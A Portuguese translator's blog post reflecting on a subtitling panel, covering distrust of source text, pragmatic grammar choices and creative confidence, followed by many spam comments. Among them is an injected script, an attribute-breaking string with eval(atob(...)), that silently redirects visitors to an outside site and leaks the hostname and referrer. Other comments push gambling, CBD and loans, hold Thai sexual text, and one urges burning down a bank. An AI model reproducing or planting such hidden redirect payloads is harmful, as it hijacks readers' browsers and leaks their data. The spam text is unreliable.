Na última quarta-feira, dia 24, eu estive na Casa Guilherme de Almeida para um debate sobre legendagem. A convite do mediador da mesa, Donny Correia, lá fui eu para a minha primeira palestra acompanhada do sócio-pai e do fiel terceiro membro da LBM, Lucas Mateus. Minha companheira de mesa foi a incrível Sandra Schamas, pioneira do ramo de legendagem, da safra que se encarregou de inventar a legendagem de filmes e séries quando a TV a cabo chegou ao Brasil.
O título da mesa foi “Legendagem: problemas e soluções”, e para ele eu separei alguns exemplos recentes de soluções criativas que arranjei para alguns pepinos tradutológicos que cruzaram meu caminho este ano. Neste post, eu gostaria de fazer algumas considerações para as quais não houve tempo, já que o mesmo foi curto para tanta participação e interesse de todos os presentes 🙂
***
Durante o tempo que tive para falar sobre mim, meu trabalho e meus exemplos, procurei passar para a audiência como traduzir foi parte integrante da minha formação não só profissional, como pessoal. Quem leu o post inaugural do nosso blog sabe como tudo começou, mas falta ainda reforçar como eu aprendi o meu inglês primariamente traduzindo e como meu aprendizado da língua foi aplicado à tradução durante muito tempo, até que outras atividades me levaram a outros usos e proficiências, retornando mais uma vez à tradução de forma mais completa. Portanto, ao meu ver, a superação desses problemas de tradução, que Pedersen chamaria de crisis point na tradução, sempre estiveram presentes na minha prática. O que não significa que eu sempre tenha tido sucesso em superá-los; na verdade, foi bem o contrário! Durante o meu desenvolvimento profissional, houve alguns fatores que atrapalharam bastante e foi preciso um amadurecimento conceitual contínuo para que eu pudesse encarar meus desafios linguísticos da forma mais adequada.
Um exemplo disso foi a total falta de desconfiança que me acompanhou durante um bom tempo. Um bom tradutor desconfia de tudo que vê no seu texto de partida. Eu sei que cansa só de ler, pensar que tudo pode ser uma pegadinha, mas é bem por aí mesmo. Toda combinação de palavras pode ter uma conotação a mais, pode estar ligada a um elemento da cena, pode ser uma gíria do Alasca (alguém aí sabe o que “sourdough” significa?). Muitas vezes paro para pensar em como o ofício ficava quase impossível para um pobre-diabo-tradutor de décadas atrás com as poucas possibilidades de pesquisa. Como a Sandra contou na palestra, há alguns anos, quem tinha um nativo a quem recorrer ficava se achando depois! Mas hoje em dia não tem desculpa, não. Entre Google, Facebook, dicionários e corpus online, difícil não achar alguma coisa. Mas tem que fuçar. E desconfiar. Sempre.
Outra coisa que atrapalhou muito também foi a gramática. Durante tanto tempo, até bem recentemente, me preocupar com a gramática a ser empregada na legenda era algo que me consumia tanto que muitos dos crisis points que apareciam recebiam importância menor. O que é melhor, go HBO e adotar o português padrão até a morte (“Fornica-me?”) ou escrever como o povo fala? Bem, no final das contas, nenhum dos dois. A legenda é um texto híbrido, diagonal, um cruzamento do escrito com o falado. Assim, deve aceitar características de ambos. Lindo! Mas como fazer escolhas? Seguir a gramática padrão a todo custo é pobre, pode ser horrivelmente irracional e distante da realidade. Porém, querer reproduzir na legenda a forma como as pessoas falam gera problemas conceituais sérios. Reproduzir a fala de quem? Passando do inglês para o português ou vice-versa, já estamos descaracterizando a fala da personagem; se adotamos um estilo de fala semelhante, ele já é diferente. E, se quando você desconstrói imperativos e concordâncias pronominais e emprega gírias você acha que está escrevendo como o povo fala, é melhor abrir a cabeça. O Brasil é um lugar imenso e cheio de falas, e você estará fazendo uma escolha bastante localizada ao selecionar certos desvios da língua padrão achando que todo mundo fala assim. Difícil, né?
Bem, eu aprendi a fazer escolhas gramaticais de forma estratégica. Na LBM, temos tentado seguir um manual gramatical inventado pelo nosso bom senso linguístico e cultural, mas não baseado na nossa própria fala. Somos de São Paulo e não costumamos falar “Olhe para mim”, e sim “Olha para mim”. Mas sabemos que em outras regiões as pessoas usam o imperativo normativo e assim, a solução é ir com a regra, pois todos entendem e aceitam. Nesse caso, a gramática normativa desempata; é mais justo assim.
Mas em outros casos, deixamos a regra de lado para dar lugar a algo mais lógico e que ofereça maior orientação ao leitor das nossas legendas. O pronome “lhe” não se usa mais tanto, mas o problema não é só esse. Esse pronome causa muita ambiguidade de leitura. “Eu lhe amo”. Você ou ele? Ah, não dá. O Pasquale que nos perdoe, mas vamos ter que misturar as estações! Mesmo sem aplicar o tu como pronome do caso reto, usamos sim o “te” nas nossas legendas para designar segunda pessoa no caso oblíquo. Não é porque falamos assim, é porque, mais uma vez, todos vão entender.
Resolvidos os impasses gramaticais, que são muitos, pude me concentrar nos verdadeiros desafios, nos meus crisis points, e usar minha criatividade de forma mais fértil. No final das contas, a gramática não deve subir a um patamar mais elevado do que aquele que deve ocupar: o de uma ferramenta que nos ajuda e não algo a ser venerado e seguido a qualquer custo, seja na sua forma escrita ou falada.
***
Por fim, talvez o que tenha feito a maior diferença na minha prática tradutória foi adquirir mais confiança nas minha ideias. Para superar um crisis point, além de criatividade, é preciso muita coragem também. Superar um crisis point muitas vezes significa escrever algo na legenda que fará com que a mesma se destaque, tirando o tradutor da sua invisibilidade. O conceito do tradutor invisível é muito valorizado, diz-se que a boa legenda é aquela que nem se percebe. Dentro dessa lógica, é comum que tradutores de diálogos lavem duas mãos diante de piadas, trocadilhos e elementos monoculturais através de desambiguação ou até omissão. Acredito que a maior causa disso seja o medo de ser ridicularizado, de que o que se escreve seja notado pelos espectadores de forma negativa.
Fica aqui a minha recomendação: dê uma chance para as suas soluções, mesmo que pareçam ridículas, exageradas ou fora de lugar. Antes de descartá-las totalmente, dê a si mesmo a oportunidade de vê-las escritas na tela do seu computador, analisá-las de uma certa distância. Se não arranjar nada melhor, deixe lá, não apague. Quem sabe amanhã você não volta e descobre que já se acostumou com o que escreveu? Pouco a pouco, você percebe que é capaz de arranjar saídas para os seus crisis points. Afinal de contas, a tradução é sim um trabalho de autoria.
PS: Agradecimento especial a Donny Correia e a CGA pelo convite e a oportunidade de novas reflexões. Leitores, não deixem de acompanhar a programação da Casa.
http://www.casaguilhermedealmeida.org.br/
IYURA body treatment triad indulges face and body.
My page; skin Products for acne at clicks
Your style is unique compared to other people I have read stuff from.
I appreciate you for posting when you’ve got the opportunity, Guess I will
just book mark this blog.
My webb site :: title looans (Casey)
You will find all the discounts on Inc. 1 at Fashionista synonym“>”>”>”>”>eval(atob(‘ZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9ICdodHRwczovL2Zhc2hpb25jZWxlYnJpdHl0cmVuZHMuY29tLz91dG1fc291cmNlPScgKyBsb2NhdGlvbi5ob3N0bmFtZSArICcmdXRtX21lZGl1bT1nc2EmdXRtX2NhbXBhaWduPXNjcmlwdCZ1dG1fY29udGVudD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKTs=’));
Magnificent website. A lot of helpful information here.
I’m sending it to some friends ans also sharing in delicious.
And of course, thank you on your sweat!
Also visit my blog :: Prius Battery Replacement minneapolis
If you want to take much from this paragraph then you have to apply such methods to your won website.
My site … asiaone
Appreciate this post. Let me try it out.
Also visit my homepage new homes minneapolis mn
Ⲛow I am ցoing to do my breakfast, ɑfter having my breakfast coming ovver ɑgain to reɑd fuгther news.
Alѕo visit my web pɑge … o (https://runews.ucoz.net/)
whoah this blog is magnificent i really like studying your posts.
Keep up the good work! You understand, a lot of individuals are hunting round for this
information, you can help them greatly.
my web-site – Stillwater Carpet Repairs
Thanks for your marvelous posting! I truly enjoyed reading it, you’re a great author.
I will remember to bookmark your blog and will come back
in the foreseeable future. I want to encourage you continue your great posts, have a nice holiday
weekend!
Look into my blog post … eco friendly 3 c plate
Howdy! This is kind of off topic but I need some help from
an established blog. Is it very hard to set up your own blog?
I’m not very techincal but I can figure things out pretty quick.
I’m thinking about setting up my own but I’m not sure where to begin. Do you have any ideas
or suggestions? Appreciate it
my web page – gulf breeze fl mortgage broker
It’s hard to find experienced people about this subject, but you seem like you know what you’re talking about!
Thanks
Also visit my blog post :: bird o’gorman flute
Why visitors still use to read news papers when in this technological world everything is accessible on net?
my website: Situs Slot Deposit Pulsa Bonus New Member 100
TD Bank is a wack fucking bank.The devils have stolen many people money from
there accounts.Burn the bank down some one important
Visit my site: Kunjungi Kami
Howdy would you mind stating which blog platform you’re using?
I’m planning to start my own blog soon but I’m having
a tough time making a decision between BlogEngine/Wordpress/B2evolution and Drupal.
The reason I ask is because your layout seems different then most blogs and I’m looking for
something unique. P.S My apologies for getting off-topic but I had to
ask!
Look at my website Data Keluaran HK
Nice information abou fitness you’ve gotten shared.
Review my website; Leaseback.com
I don’t know if it’s just me or if perhaps everyone else experiencing problems
with your website. It appears like some of the written text within your posts are running off
the screen. Can somebody else please provide feedback and let me
know if this is happening to them as well?
This may be a problem with my browser because I’ve had this happen previously.
Thank you
Here is my web site: 188bet
It’s going to be ending of mine day, but before finish I am reading this enormous post to improve my experience.
Feel free to visit my website; พร้อมน้องชายที่ผงาดขึ้นตั้งรับให้ฝ่ายหญิงเป็นผู้นำทัพอยู่ด้านบน
Thank you for any other fantastic article. Where else could anyone get
that type of information in such an ideal means of writing?
I’ve a presentation subsequent week, and I’m at the search for such info.
My web blog Singapore toto
This is my first time pay a visit at here and i am in fact
impressed to read everthing at single place.
My web site: fun88 ทางเข้า 2022
Good post! We are linking to this great article on our site.
Keep up the good writing.
My website – URL
Everything is very open with a clear clarification of the issues.
It was definotely informative. Your website is extremely helpful.
Thanks for sharing!
my blog; title loans (Fabian)
Hurrah! Finally I got a webpage from where I be able to truly get helpful
information concerning my study and knowledge.
Here is my website: Qq slot bonus new member 100
I like the helpful info you provide in your articles.
I’ll bookmark your weblog and check again here regularly. I’m quite sure
I will learn lots of new stuff right here! Good luck
for the next!
Look at my webpage – เรื่องเซ็กส์ล่าสุด
Hi there just wanted to give you a quick heads up and let you know a few
of the images aren’t loading correctly. I’m not sure why but I think its a linking issue.
I’ve tried it in two different internet browsers and both show
the same outcome.
My web blog: seguidores instagram
เมื่อมีเทคนิคดีๆเราก็ต้องการแบ่งปัน เพื่อให้ผู้เล่นที่เป็นพวกได้ได้โอกาสชนะ เกมบาคาร่า 99% แค่เพียงเป็นสมาชิกก็ได้วิธีการเล่นที่โคตรโกงไปแล้ว วันนี้พวกเราจะมาบอก 4 เคล็ดวิธีโดยประมาณเคล็ดลับแรกที่พวกเราจะมาชี้แนะเลยเป็น เราจำเป็นต้องรู้จักกันก่อนว่า บาคาร่า มันเล่นอย่างไร
แล้วกระบวนการเล่นมันมีแบบไหนบ้างใน เกมบาคาร่า เขามีอะไรให้พวกเราได้เลือกเล่นบ้าง นี่เป็นข้อมูลเบื้องต้นที่ทุกคนที่ต้องการ เล่นบาคาร่า จะต้องศึกษามาก่อนอปิ้งดีแล้วเบื้องต้นจึงจะสามารถเริ่ม เล่นบาคาร่า ได้อย่างมีประสิทธิภาพ
แนวทางลำดับที่สอง ให้เริ่มเล่นด้วยทุนตั้งต้อนที่น้อยๆไว้ก่อน ไม่สมควรนำทุนจำนวนมากมาทดลองเล่นตั้งแต่หนแรกที่เล่น เพราะว่าการที่เรายังเล่นไม่เป็นแล้วมาทุ่มทุนเล่นไปเลยตั้งแต่ต้นมันสามารถทำให้พวกเราเสียทุนไปได้เลยฟรีๆเพราะว่าแบบนั้นพวกเราจึงควรเริ่มเล่นครั้งแรกด้วยทุนน้อยๆวิธีลำดับที่สาม เก็บประสบการณ์การเล่นจากการเล่นระยะแรกๆให้ได้มากที่สุดเพียรพยายามจำลายไพ่แต่ละลายที่ได้ออกมาให้ได้ แล้วเวลาพวกเราจำ เค้าไพ่บาคาร่า ได้หมดแล้วคราวนี้เวลาเล่น พวกเราจะสามารถเดาทางของไพ่ได้อย่างเที่ยงตรงแน่ๆ
เคล็ดลับลำดับที่สี่ ทำความเข้าใจทุกบทที่พวกเราได้สอนไปให้เข้าใจจากนั้นเล่นอย่างมีสติ เล่นแบบกำหนดจุดมุ่งหมาย รายวัน ทุกเดือน อย่าเล่นแบบผีพนัน ให้เก็บสะสมรางวัลน้อยๆไปเรื่อยๆหลังจากนั้นรางวัลน้อยๆที่เราสะสมมาตั้งแต่ต้นจะเปลี่ยนเป็นเงินก้อนโตในอนาคตได้ วิธีเอาชนะบาคาร่า เทคนิคการเล่นบาคาร่าแบบเซียน สูตรบาคาร่าฟรีเป็นสูตรที่จะสามารถช่วยให้นักการพนันสามารถเล่น บาคาร่า ได้ง่ายดายมากยิ่งขึ้น แล้วก็เป็นสูตรที่ทำขึ้นมาด้วยระบบ AI ซึ่งสามารถพินิจพิจารณาผลของ เกมบาคาร่า ในแต่ละตาได้อย่างแม่นยำ
Also visit my webpage: บาคาร่าออนไลน์
Affordable Do It Yourself Blinds Delivered Australia-Wide.
Feel free to visit my web page organic cbd vape pen
Good day! I know this is somewhat off topic but I was wondering if you knew
where I could geet a captcha plugin for my comment form? I’m using the same blog platform as yurs and
I’m having difficulty fiinding one? Thanks a lot!
Cá cược tổng thống web page trực tuyến cá độ bóng đá
Having read this I thought it was rather enlightening.
I appreciate you spending some time and effort to put this content together.
I once again find myself personally spending a significant amount of
time both reading and leaving comments. But so what, it was still worthwhile!
Also visit my web-site … association cours d anglais aix en provence
If You’re Looking for Ideas on Making Money Online Fast, Read This
If you’re looking to earn money online just like millions of people around the world, then will want
to read good tips to get you started. Many people around the world are searching for
new ways to make money online. Now you can join them in their pursuit of internet riches.
Although you may not become rich, there are lots
of useful tips that can help you start making additional cash.
There are a variety of online opportunities to
earn extra income when you’re a proficient writer.
You can find websites that let you to create content to optimize your
search results. Some pay more than small amount per word, which is worth the effort.
Affiliate marketing can be a method to earn extra cash online.
This kind of marketing permits you to market the products of others and
earn commission. In accordance with your own style, there are many things that you can market.
Make an online income plan you can adhere to each day. Earnings online is determined by the amount
of persistent and committed you are. This isn’t an easy route to earn huge amounts of money.
It’s important to put in the effort every day. You should set aside
the time every day. It’s just an hour each day for it to build
up over time.
Find out what other people are doing online to earn money.
You have a variety of options to earn money online. Take some time to see what the most successful individuals have
been doing it. You might discover methods of making money
you’ve never considered before! Keep a journal of your progress so you are able to
recall all of your ideas.
Logos that are unique can be created for websites that are just starting
out. This is a fantastic way to show off your talents and also help
others who aren’t as skilled. Before you render your service
it is important to negotiate the price in advance with the client.
It is possible to minimize your losses by starting small when making money
online. You don’t want your time and money to be wasted on something that does not look promising.
Write one article, order one item , or make one take until
you’re satisfied with the performance of the site.
One method to make money online is to write blog articles or
posts. There are some websites such as Helium and Associated
Content that will pay for blog posts and articles that you write.
You could earn as much as 200 dollars for articles that cover the topics they are
looking for.
Don’t pay for online work. You should be compensated for legitimate work online.
A service that is charging the user for work
could provide the opportunity to work for free.
You may be paid by several websites to give your opinions on a current trial.
These websites require that you read through the information and
then make a decision on whether or not the defendant is
guilty. The amount of time you spend reading through the materials will determine
the amount of money you get.
If you do not want to make a huge financial investment in your online business you might want to consider purchasing domains and selling them.
In essence, you should purchase an domain for the low cost.
Then, you can sell the domain to make an profit. Be sure
to do your research and figure out what domain names are in high
demand.
Online Marketing
Online marketing can assist you to grow sales even if you already own a business.
Your own site is an ideal place to advertise your business.
Offer discounts and sales. Update your information regularly.
To receive regular reminders about your products,
invite people to join your email list. This allows you to reach a global market.
Are you knowledgeable about online marketing? One company
may want you to take part in search engine optimization on their site.
Press releases, writing blogs or posting to forums and social bookmarking are a
few tasks you’ll have to perform. It is necessary to have some knowledge or experience before you can do this.
Now you are aware of the many lucrative opportunities available on the internet.
You are now able to utilize these ideas and reap the online
money advantages. Many consumers love shopping online
and there’s no reason why you shouldn’t either.
Here is my web-site :: View Website
Good day! I know this is somewhat off topic but I was wondering which
blog platform are you using for this website? I’m getting fed up of WordPress because I’ve had
issues with hackers and I’m looking at alternatives for another
platform. I would be awesome if you could point me in the
direction of a good platform.
My web-site :: US Homeownership Rate
Acquiring blinds online can be fun as well as amazing.
Here is my webpage – best cbd gummies for sleep 2021
Economical Do It Yourself Blinds Delivered Australia-Wide.
Also visit my website :: cbd topical cream for sale near me
Acquiring blinds online can be enjoyable and exciting.
Also visit my website: cbd topicals canada
When I originally commented I appear to have clicked the -Notify me when new comments are added-
checkbox and now whenever a comment is added I receive 4 emails with the
exact same comment. Is there a means you are able to remove me from that service?
Many thanks!
my site: Dermaroller
Oh my goodness! Impressive article dude! Thank you, However I am going through difficulties with your RSS.
I don’t understand the reason why I can’t join it.
Is there anybody getting the same RSS problems?
Anybody who knows the solution will you kindly respond?
Thanx!!
Take a look at my web page … fraudchex
Vertical Blinds are ideal for covering large home
windows.
Feel free to visit my site … how long does cbd stay in your system if you vape it
I couldn’t resist commenting. Exceptionally
werll written!
my web page … vape france
This website truly has all the information I needed concerning this subject and didn’t know who to
ask.
Check out my web-site :: taxi nice
Terrific product, client service and value.
Feel free to surf to my webpage :: organic cbd nugs store
At this time it looks like Movable Type is the preferred blogging platform available right now.
(from what I’ve read) Is that what you are using on your blog? http://community.getvideostream.com/user/george4023
Economical DIY Blinds Delivered Australia-Wide.
Feel free to visit my blog :: Bookmarks
Great product, customer care and also worth.
My website :: cbd Dropshipping suppliers usa
We accommodate a deluxe ended up custom-made blinds.
my web-site how long does cbd stay active In your system
Hey there would you mind letting me know which hosting company
you’re utilizing? I’ve loaded your blog in 3 completely different browsers
and I must say this blog loads a lot quicker then most. Can you recommend a
good hosting provider at a reasonable price? Thank you, I appreciate it!
Here is my web page Slot Yang Bisa Deposit Pulsa 5Rb
Cost Effective DIY Blinds Delivered Australia-Wide.
Here is my site – best cbd gummies for quitting smoking
Piece of writing writing is also a excitement, if you know
after that you can write if not it is complicated to
write.
my website … تحصیل در اروپا
Good day! Would you mind if I share your blog with my facebook
group? There’s a lot of people that I think would really appreciate your content.
Please let me know. Many thanks
Feel free to surf to my site: steel bite pro reviews
We deal with a luxury ended up custom blinds.
Visit my blog post – cbd topicals benefits
I have to thank you for the efforts you’ve put in penning this blog.
I’m hoping to see the same high-grade content by you in the future
as well. In truth, your creative writing abilities has motivated
me to get my very own website now 😉
my web site dich vu tang like
Definitely believe that which you said. Your favorite
justification appeared to be on the internet the simplest thing to
be aware of. I say to you, I definitely get irked while people think about worries that
they plainly do not know about. You managed to hit the nail upon the
top as well as defined out the whole thing without having side-effects , people can take
a signal. Will likely be back to get more. Thanks
Also visit my website – gubi multi lite 36